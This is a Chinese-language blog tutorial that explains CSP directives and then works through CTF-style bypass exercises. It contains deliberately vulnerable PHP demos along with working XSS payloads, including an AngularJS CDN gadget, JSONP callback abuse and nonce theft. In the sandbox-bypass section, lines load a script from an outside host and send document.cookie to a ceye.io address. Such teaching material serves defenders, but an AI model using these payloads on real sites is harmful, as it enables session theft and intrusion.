Learning Man's Blog

CSP 小结

字数统计: 4.8k阅读时长: 21 min
2019/08/23

解析器:

启用 CSP 方式

  • HTTP Header Content-Security-Policy

    Content-Security-Policy: script-src 'self'; object-src 'none';
    style-src cdn.example.org third-party.org; child-src https:
  • HTML <meta>

此方式不能用于 frame-ancestors、report-uri 或 sandbox

 <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

语法

Content-Security-Policy: <policy-directive>; <policy-directive>

指令

获取指令 Fetch directives

通过获取指令来控制某些可能被加载的确切的资源类型的位置

child-src

定义了 web workers 以及嵌套的浏览上下文(如 <frame><iframe> )的源。推荐使用该指令,而不是被废弃的 frame-src 指令

注意: 如果没有指定这条指令,浏览器会查询 default-src 指令

如果开发者希望管控内嵌浏览器内容和工作者应分别使用frame-src和worker-src 指令,来相对的取代 child-src

<?php header("Content-Security-Policy: frame-src example.com");?>
// 以下Demo会被拦截
<iframe src="https://non-example.com">

connect-src

限制能通过脚本接口加载的 URL

收到影响的 API 如下:

  • <a> ping
  • Fetch
  • XMLHttpRequest
  • WebSocket
  • EventSource
<?php header("Content-Security-Policy: connect-src https://example.com/");?>
// 以下Demo会被拦截
<a ping="https://not-example.com">

<script>
  var xhr = new XMLHttpRequest(); 
  xhr.open('GET', 'https://not-example.com/'); 
  xhr.send();

  var ws = new WebSocket("https://not-example.com/");

  var es = new EventSource("https://not-example.com/"); 

  navigator.sendBeacon("https://not-example.com/", { ... });
</script>

default-src

dafault-src 作为以下获取指令的fallback,对于以下列出的指令,假如设定了,那么 default-src 不会对它们起作用;假如不存在的话,那么用户代理会查找并应用 default-src 指令的值。

  • child-src
  • connect-src
  • font-src
  • frame-src
  • img-src
  • manifest-src
  • media-src
  • object-src
  • script-src
  • style-src
  • worker-src

以下指令不使用 default-src 作为 fallback。请记住,如果不对其进行设置,则等同于允许加载任何内容:

  • base-uri
  • form-action
  • frame-ancestors
  • plugin-types
  • report-uri
  • sandbox

font-src

设置允许通过@font-face加载的字体源地址。

<?php header("Content-Security-Policy: font-src https://example.com/");?>
// 以下Demo会被拦截
<style>
  @font-face { 
    font-family: "MyFont"; 
    src: url("https://not-example.com/font"); 
  } 
  body { 
    font-family: "MyFont"; 
  } 
</style>

frame-src

设置允许通过类似<frame>和<iframe>标签加载的内嵌内容的源地址

样例类似 connect-src

img-src

限制图片和图标的源地址

manifest-src

限制应用声明文件的源地址

<?php header("Content-Security-Policy: manifest-src https://example.com/");?>
// 以下Demo会被拦截
<link rel="manifest" href="https://not-example.com/manifest">

media-src

限制通过<audio>、<video>或<track>标签加载的媒体文件的源地址

object-src

限制<object>、<embed>、<applet>标签的源地址

被object-src控制的元素可能碰巧被当作遗留HTML元素,导致不支持新标准中的功能(例如<iframe>中的安全属性sandbox和allow)。因此建议限制该指令的使用(比如,如果可行,将object-src显式设置为’none’)

<?php header("Content-Security-Policy: object-src https://example.com/");?>
// 以下Demo会被拦截
<embed src="https://not-example.com/flash"></embed>
<object data="https://not-example.com/plugin"></object> 
<applet archive="https://not-example.com/java"></applet>

script-src

限制JavaScript的源地址

不仅包括直接加载到<script>元素中的 URL,还包括可以触发脚本执行的内联脚本处理程序(onclick)和XSLT样式表等内容

<?php header("Content-Security-Policy: script-src https://example.com/");?>
// 以下Demo会被拦截
<script src="https://not-example.com/js/library.js"></script>
<button id="btn" onclick="doSomething()">
// 以下Demo会被放行
document.getElementById("btn").addEventListener('click', doSomething);
unsafe-inline

要允许内联脚本和内联事件处理程序,unsafe-inline可以指定与内联块匹配的nonce-sourcehash-source

<?php header("Content-Security-Policy: script-src 'unsafe-inline';");?>
//允许内联<script>元素
<script> 
  var inline = 1; 
</script>
  • nonce
<?php header("Content-Security-Policy: script-src 'nonce-2726c7f26c'");?>
// 允许特定内联脚本块,需设置相同随机数
<script nonce="2726c7f26c">
  var inline = 1;
</script>
  • hash

使用 Google 搜索如何生成 SHA 哈希值,将会返回任何语言的解决方法。 使用 Chrome 40 或更高版本,您可以打开 DevTools,然后重新加载您的页面。 Console 标签将包含错误消息,提供每个内联脚本的正确的 sha256 哈希值。

<?php header("Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='");?>
// 从内联脚本创建哈希。CSP支持sha256,sha384和sha512
// 生成哈希时,不要包含<script>标记,并注意大写和空白很重要,包括前导或尾随空格
<script>var inline = 1;</script>
unsafe-eval

‘unsafe-eval’源表达控制该创建从串代码几个脚本执行方法,未设置情况下以下方法将被阻止:

  • eval()
  • Function()
  • 传递字符串文字时,如: window.setTimeout(“alert("Hello World!");”, 500);
    • window.setTimeout
    • window.setInterval
    • window.setImmediate
    • window.execScript(仅IE <11)
strict-dynamic

源表达式指定显式给予标记中存在的脚本的信任,通过附加一个随机数或散列值,应该传播给由该脚本加载的所有脚本。与此同时,任何白名单或源表达式(例如’self’或’unsafe-inline’将被忽略)

<?php header("Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguV' 'strict-dynamic'")?>
<script src="https://blog.sari3l.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
// 以下 script 将被执行
var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);
// 以下 script 不会执行
document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

不执行的原因在于 chrome 禁止了 document.write 执行动态生成的 script 代码块

dependency.js will load, as the script element created by createElement() is not “parser-inserted”.

sadness.js will not load, however, as document.write() produces script elements which are “parser-inserted”.

style-src

限制层叠样式表文件源

webrtc-src

指定WebRTC连接的合法源地址

worker-src

限制Worker、SharedWorker或者ServiceWorker脚本源

文档指令 Document directives

文档指令管理文档属性或者worker环境应用的策略

base-uri

限制在DOM中<base>元素可以使用的URL

base-uri 指令限制了可以应用于一个文档的 元素的 URL。假如指令值为空,那么任何 URL 都是允许的。如果指令不存在,那么用户代理会使用 <base> 元素中的值

plugin-types

通过限制可以加载的资源类型来限制哪些插件可以被嵌入到文档中

sandbox

类似<iframe> sandbox属性,为请求的资源启用沙盒

该指令与我们看到的其他指令有些不同,因为它限制的是页面可进行的操作,而不是页面可加载的资源。如果 sandbox 指令存在,则将此页面视为使用 sandbox 属性在 <iframe> 的内部加载的。这可能会对该页面产生广泛的影响:强制该页面进入一个唯一的来源,同时阻止表单提交等其他操作

  • allow-forms:允许嵌入式浏览上下文提交表单。如果未使用此关键字,则不允许此操作
  • allow-modals:允许嵌入式浏览上下文打开模态窗口
  • allow-orientation-lock:允许嵌入式浏览上下文禁用锁定屏幕方向的功能
  • allow-pointer-lock:允许嵌入式浏览上下文使用指针锁定API
  • allow-popups:允许弹出窗口(像window.open,target=”_blank”,showModalDialog)。如果未使用此关键字,则该功能将悄然失败
  • allow-popups-to-escape-sandbox:允许沙盒文档打开新窗口而不强制沙盒标记。例如,这将允许第三方广告安全地进行沙盒处理,而不会对登录页面强加相同的限制
  • allow-presentation:允许嵌入程序控制iframe是否可以启动演示会话
  • allow-same-origin:允许将内容视为来自其正常来源。如果未使用此关键字,则将嵌入内容视为来自唯一来源
  • allow-scripts:允许嵌入式浏览上下文运行脚本(但不能创建弹出窗口)。如果未使用此关键字,则不允许此操作
  • allow-top-navigation:允许嵌入式浏览上下文将内容导航(加载)到顶层浏览上下文。如果未使用此关键字,则不允许此操作

导航指令 Navigation directives

导航指令管理用户能打开的链接或者表单可提交的链接

form-action

限制能被用来作为给定上下文的表单提交的 目标 URL (说白了,就是限制 form 的 action 属性的链接地址)

frame-ancestors

指定可能嵌入页面的有效父项<frame>, <iframe>, <object>, <embed>, or <applet>

限制文档可以通过以下任何方式访问URL (a, form, window.location, window.open, etc.)

报告指令 & 其他指令

Bypass

Demo 1 - iframe CSP attribute

如果设置iframe元素的csp属性,会对内嵌的资源强制实行同源策略,来源w3c

-w826

需要注意一点:
1. 强制覆盖只应用于被 src 属性引入的页面
2. 如果是利用 srcdoc 属性嵌入的 html 中使用 meta 限定了 CSP,实际和 iframe 的 csp 属性采用并列形式

<!-- 查看console报错信息,需同时满足两个nonce -->
<iframe csp="script-src 'nonce-1'" srcdoc="&#60;&#109;&#101;&#116;&#97;&#32;&#104;&#116;&#116;&#112;&#45;&#101;&#113;&#117;&#105;&#118;&#61;&#39;&#67;&#111;&#110;&#116;&#101;&#110;&#116;&#45;&#83;&#101;&#99;&#117;&#114;&#105;&#116;&#121;&#45;&#80;&#111;&#108;&#105;&#99;&#121;&#39;&#32;&#99;&#111;&#110;&#116;&#101;&#110;&#116;&#61;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#45;&#115;&#114;&#99;&#32;&#39;&#110;&#111;&#110;&#99;&#101;&#45;&#50;&#39;&#34;&#62;&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#110;&#111;&#110;&#99;&#101;&#61;&#50;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">

<!-- 编码内容 -->
<!-- <meta http-equiv='Content-Security-Policy' content="script-src 'nonce-2'"><script nonce=2>alert(1)</script> -->

练习题

// demo.php
<?php
function randHash($len = 32)
{
    return substr(md5(openssl_random_pseudo_bytes(20)), -$len);
}
echo "<script src='csp.php?nonce=" . randHash() . "'></script>";
?>
Update Profile:
<form action="update.php" method="POST">
    <textarea rows="10" cols="50" name="profile"><?php 
        if ($_GET['id']) {
            echo readfile("/tmp/" . $_GET['id'] . ".txt");
        } else {
            header("location:/demo.php?id=" . randHash());
        }
        ?></textarea>
    <br/>
    <input type="hidden" name="id" value="<?php echo $_GET['id'];?>">
    <input type="submit" value="submit">
</form>

//csp.php
<?php
header('Content-type: text/javascript');
?>
meta = document.createElement('meta');
meta.httpEquiv = 'Content-Security-Policy';
meta.content = "script-src 'nonce-<?php echo $_GET[nonce];?>'";
document.head.appendChild(meta);

//update.php
<?php
try {
    $id = $_POST['id'];
    $profile = $_POST['profile'];
    $tmpfile = fopen("/tmp/" . $id . ".txt", "w");
    fwrite($tmpfile, $profile);
    fclose($myfile);
    echo 'success';
    header("location:/demo.php?id=" . $id);
}
catch(Exception $e) {
    echo 'Message: ' . $e->getMessage();
}
?>

利用

</textarea>
<iframe src="iframe.php?id=当前页面ID值" csp="script-src 'nonce-1'"></iframe>
<script nonce=1>alert(/xss/)</script>

额外利用方式,利用chrome-xss-auditor屏蔽添加csp的js代码执行

-w1017

Demo 2 - base-uri

条件:

  1. script-src 出现nonce,不允许出现self或者限定有某ip\domain
  2. 没有设置有额外的 base-uri 或被 default-src 设置的 base-uri
  3. script 标签中可控的nonce,以及src采用相对路径

练习题

// demo.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-test'");
if ($_GET['base']) {
    preg_match('/^\/\/([-.\w]*[0-9a-zA-Z])\//', $_GET['base'], $base);
    if (count($base) > 0 && strstr($base[0], 'blog.sari3l.com')) {
        echo "<base href='" . $base[0] . "'>";
    }
}
?>
<form action="demo.php" method="GET">
    <textarea rows="10" cols="50" name="profile"><?php
if ($_GET['profile'] && !strstr($_GET['profile'], 'base')) {
    echo $_GET['profile'];
}
?></textarea>
    <br/>
    <input type="submit" value="submit">
</form>

利用

?base=//blog.sari3l.com.IPS/&profile=

Demo 3 - CDN

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险

<!-- 下面的标签可以获取名字为FLAG的cookie -->
<amp-pixel src="http://IPS/?cid=CLIENT_ID(FLAG)"></amp-pixel>
  • BlackHat - 更多可用JS库整理:PDF

条件:

  1. script-src CDN 白名单
  2. 库文件存在低版本 XSS 漏洞
  3. 具体条件如下
    -w915
    -w196

练习题

//demo.php
<?php
header("Content-Security-Policy: script-src 'unsafe-eval' https://cdnjs.cloudflare.com; default-src 'none'");
if ($_GET['src']) {
    echo "<script src='" . $_GET['src'] . "'></script>";
}
if ($_GET['profile']) {
    echo $_GET['profile'];
}
?>

利用

?src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js&profile=<div ng-app>{{constructor.constructor('alert(/xss/)')()}}

Demo 4 - JSONP

大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析

条件:

  1. 可控 JSONP
  2. JSONP 地址在 CSP 白名单中

存在问题,不好控制返回内容

练习题

//demo.php
<?php
header("Content-Security-Policy: script-src www.google.com; default-src 'none';");
if ($_GET['src']) {
    echo "<script src='" . $_GET['src'] . "'></script>";
} else {
    echo "try src";
}
?>

利用

?src=https://www.google.com/complete/search?client=chrome&q=hello&callback=alert

?src=https://www.google.com/complete/search?client=chrome&q=document.write(%22%22)//&callback=top.FRAMEID.setTimeout

Demo 5 - Script Tag

这个相对来说比较常见,利用 UA 自动闭合标签的性质

当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

这里需要注意,UA接收输入的"在之后遇到(空格)后会直接闭合,具体情况可以在 Elements 中查看

练习题

//demo.php
<?php
function randHash($len = 32)
{
    return substr(md5(openssl_random_pseudo_bytes(20)), -$len);
}
$nonce = randHash();
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-" . $nonce . "'");
if ($_GET['src']) {
    echo $_GET['src'];
}
echo "<script nonce=" . $nonce . ">console.log('no xss');</script>";
?>

利用,目前只能在 Firefox 中成功,Chrome 下无法获取到 nonce

?src=<script src="data:text/plain,alert(1)"

// 原本 chrome 的利用,通过标签重复属性只解析第一个,吃掉后续的 <script 否则会报错,但测试已无效
?src=<script src="data:text/plain,alert(1)" a=1 a=

Demo 6 - SVG

SVG 是一种基于 XML 语法的图像格式,全称是可缩放矢量图(Scalable Vector Graphics)。其他图像格式都是基于像素处理的,SVG 则是属于对图像的形状描述,所以它本质上是文本文件,体积较小,且不管放大多少倍都不会失真。

案例:https://xz.aliyun.com/t/4492

这个实际和 CSP 没有太多关系,完全是因为svg - script的特性


这里还牵扯到一个知识点:为什么 xss 只在单独渲染的 svg 页面才会触发?

没有在chrome中找到相关信息,而在FF中有所提及SVG图片渲染

-w700

实际上有两种方法触发:

  1. 直接访问 .svg 文件页面

  2. 在HTML页面中利用<embed>引入图片

    <embed src="attack.svg">

练习题

http://web50.zajebistyc.tf/

Demo 8 - Cache poisoning

实战Web缓存投毒(上)
实战Web缓存投毒(下)
https://ctftime.org/writeup/13925

Demo 9 - Static Resource

还是利用了白名单中www.google-analytics.com,不清楚 baidu 有没有类似的应用(我猜没有)

案例:HackMD Stored XSS & Bypass CSP with Google Tag Manager

条件:

  1. script-src 白名单
  2. script-src 允许 ‘unsafe-eval’

准备步骤

  1. 登录 https://tagmanager.google.com/
  2. 创建工作区,记录右上的代码
    -w1671
  3. 进入”变量 - 用户定义的变量”,新建变量,选择”自定义JavaScript”
    -w1109
  4. 进入”代码 - 新建”,先新建一个”触发条件”
    -w1265
  5. 然后创建一个”代码”,注意红框的选项,之后还要创建一个变量
    -w1284
  6. 跟踪ID中选择之前创建的自定义JS的那个变量,之后一路保存
    -w1171
  7. 最后大致的样子
    -w1103
  8. 保存提交,有点类似 git 的操作
  9. 最后在目标页面引入 JS 即可
<!-- ID 通过第二步获取 -->
<script src="https://www.google-analytics.com/gtm/js?id=GTM-WNH4HPH"></script>

-w448

Demo 10 - sandbox Bypass

如何巧妙绕过CSP

大多数现代浏览器会自动将文件(如文本文件或图像)转换为HTML页面

浏览器之所以这么做,是为了能够在浏览器窗口中正确描述相关内容:它需要布置正确的背景,进行居中,等等。但是,iframe也是一个浏览器窗口!因此,只要内容类型正确,那么,在打开需要利用iframe在浏览器中显示的任何文件(即favicon.ico或robots.txt)的时候,将立即将它们转换为HTML,而无需进行任何数据检查。

如果frame可以打开没有CSP标头的网站页面的话,那会发生什么呢?想必您已经猜到答案了。如果没有CSP,打开的frame将执行页面内的所有JS代码。如果页面带有XSS漏洞,我们就可以自己将js写入frame。

1. without X-Frame-Options:DENY

通过iframe引入外部js,将src设置为同域的,从而绕过CSP的default-src 'self'规则

练习题
//demo.php
<?php
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
?>
<body>
    <script>
        <?php echo $_GET['src'];?>
    </script>
</body>

利用

?src=
f = document.createElement('iframe');
f.id = 'test';
f.src = './robots.txt';
f.onload = () => {
    x = document.createElement('script');
    x.src = "//q9dgwp80.xyz/1.js";
    test.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);?src=window.open('//xxx.ceye.io/?'+escape(document.cookie))

2. with X-Frame-Options:DENY

这里可使用CSP的第二个常见错误,即在返回Web扫描程序错误时没有提供保护性头部。若要验证这一点,最简单方法是尝试打开并不存在的网页。因为许多资源只为含有200代码的响应提供了X-Frame-Options头部,而没有为包含404代码的响应提供相应的头部

f = document.createElement('iframe');
f.id = 'test';
f.src = './不想存在页面';
f.onload = () => {
    x = document.createElement('script');
    x.src = "//q9dgwp80.xyz/1.js";
    test.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);

Demo 11 - JPEG

通过将 jpeg 内容注释以通过 JS 检测,但是需要配合charset指定编码
Bypassing CSP using polyglot JPEGs
翻译:https://paper.seebug.org/133/

在最新版浏览器上基本无法 bypass mime type 检测,只能理论上理解一下

以下两张图片,二进制查看就能大致明白

xss
xss2

推荐延伸

  1. Content Security Policy Level 3におけるXSS対策
    -w1022

  2. 我的CSP绕过思路及总结:https://xz.aliyun.com/t/5084#toc-7

参考资料

  1. Content-Security-Policy
  2. https://xz.aliyun.com/t/5084#toc-6
  3. https://developers.google.com/web/fundamentals/security/csp/?hl=zh-cn
  4. https://www.mi1k7ea.com/2019/02/24/CSP策略及绕过技巧小结/
CATALOG
  1. 1. 启用 CSP 方式
  2. 2. 语法
  3. 3. 指令
    1. 3.1. 获取指令 Fetch directives
      1. 3.1.1. child-src
      2. 3.1.2. connect-src
      3. 3.1.3. default-src
      4. 3.1.4. font-src
      5. 3.1.5. frame-src
      6. 3.1.6. img-src
      7. 3.1.7. manifest-src
      8. 3.1.8. media-src
      9. 3.1.9. object-src
      10. 3.1.10. script-src
        1. 3.1.10.1. unsafe-inline
        2. 3.1.10.2. unsafe-eval
        3. 3.1.10.3. strict-dynamic
      11. 3.1.11. style-src
      12. 3.1.12. webrtc-src
      13. 3.1.13. worker-src
    2. 3.2. 文档指令 Document directives
      1. 3.2.1. base-uri
      2. 3.2.2. plugin-types
      3. 3.2.3. sandbox
    3. 3.3. 导航指令 Navigation directives
      1. 3.3.1. form-action
      2. 3.3.2. frame-ancestors
      3. 3.3.3. navigation-to
    4. 3.4. 报告指令 & 其他指令
  4. 4. Bypass
    1. 4.1. Demo 1 - iframe CSP attribute
      1. 4.1.1. 练习题
    2. 4.2. Demo 2 - base-uri
      1. 4.2.1. 练习题
    3. 4.3. Demo 3 - CDN
      1. 4.3.1. 练习题
    4. 4.4. Demo 4 - JSONP
      1. 4.4.1. 练习题
    5. 4.5. Demo 5 - Script Tag
      1. 4.5.1. 练习题
    6. 4.6. Demo 6 - SVG
      1. 4.6.1. 练习题
    7. 4.7. Demo 8 - Cache poisoning
    8. 4.8. Demo 9 - Static Resource
      1. 4.8.1. 准备步骤
    9. 4.9. Demo 10 - sandbox Bypass
      1. 4.9.1. 1. without X-Frame-Options:DENY
        1. 4.9.1.1. 练习题
      2. 4.9.2. 2. with X-Frame-Options:DENY
    10. 4.10. Demo 11 - JPEG
  5. 5. 推荐延伸
  6. 6. 参考资料